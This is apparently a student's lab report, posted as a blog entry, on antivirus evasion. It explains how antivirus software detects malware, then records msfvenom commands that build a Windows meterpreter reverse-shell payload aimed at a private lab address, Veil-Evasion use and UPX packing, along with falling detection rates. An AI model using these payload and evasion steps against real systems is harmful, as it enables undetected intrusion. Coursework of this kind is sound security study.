Exp3 免杀原理与实践(20154316)

Exp3 免杀原理与实践

20154316王帅峰

一、基础问题回答

(1)杀软是如何检测出恶意代码的?

  1. 基于特征码的检测:AV软件厂商通过检测一个可执行文件是否包含一段与特征码库中相匹配的特征码从而判断是否为恶意软件。
  2. 启发式恶意软件检测:就是根据一个程序的特征和行为如果与恶意软件相似,就判定为恶意软件。
  3. 基于行为的恶意软件检测:同启发式,启发式偏向于对程序的特征扫描,基于行为的则是多了对程序的行为监控。

(2)免杀是做什么?

  1. 免杀就是使恶意软件能不被AV软件的检测出来,其本身安装的后门能够不被发现,成功存活下来。

(3)免杀的基本方法有哪些?

  1. 改变特征码:
    如果是类似exe的可执行文件可以加壳,例如压缩壳
    如果是shellcode可以用encode进行编码或者用payload重新编译生成可执行文件
    如果是源代码可以用其他语言进行重写再编译(veil-evasion)

  2. 改变行为:
    通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据
    操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码

  3. 非常规方法:

    使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

    使用社工类攻击,诱骗目标关闭AV软件。

    纯手工打造一个恶意软件。==

二、实验步骤

1.MSF编码器

使用实验二得到的4316.exe用网站检测

从结果可以看出只有48%的杀毒软件能够检测出来。

2.使用Msfvenom编码器
使用指

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.131 PORT=4316 -f exe > wsf4316.exe

生成一个可执行文件放到网站 http://www.virscan.org 上检测,结果如下:

有17%的杀毒软件能够检测出来。
3.veil-evasion
安装好veil(几乎是令人窒息的操作,最好很快就能成功)

选择第六行的文件:

通过第六行的数据产生可执行文件:

从文件路径中找到并放到网站上去检测:

结果是只有15%的杀毒软件能够检测出来。

4.shellcode

在kali主机下,进入终端,执行指令:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.131 LPORT=4316 -f c

生成一个c语言格式的Shellcode数组

将内容放到codeblock中加主函数编译一下得到一个wsf4316.exe的可执行文件,并在网站上进行检测:

发现其结果是只有17%的杀毒软件能够检测出来。

5.对程序进行加壳

输入指令

upx 4302.exe -o 4302upx.exe
生成一个加壳之后的可执行文件:


通过检测只有23%的杀毒软件能够检测出来。

四、离实战还缺些什么技术或步骤?

想办法让目标主机在不知不觉中运行恶意软件,杀入其计算机内部。

五、实践总结与体会

通过这次实践,我对杀毒软件有了新的认识,恶意的软件会携带无法查处的病毒进入计算机,造成很大的安全隐患,虽然只是做实验,但是我已经从这门课的学习过程中感受到了计算机的安全隐患,杀毒软件并不是计算机安全的最好屏蔽网,保护好自己的计算机,还必须了解病毒的原理以及防范措施,在以后的实验中希望能学到能多新技能。

posted on 2018-04-08 08:25  wangshuaifeng  阅读(140)  评论(0编辑  收藏  举报

导航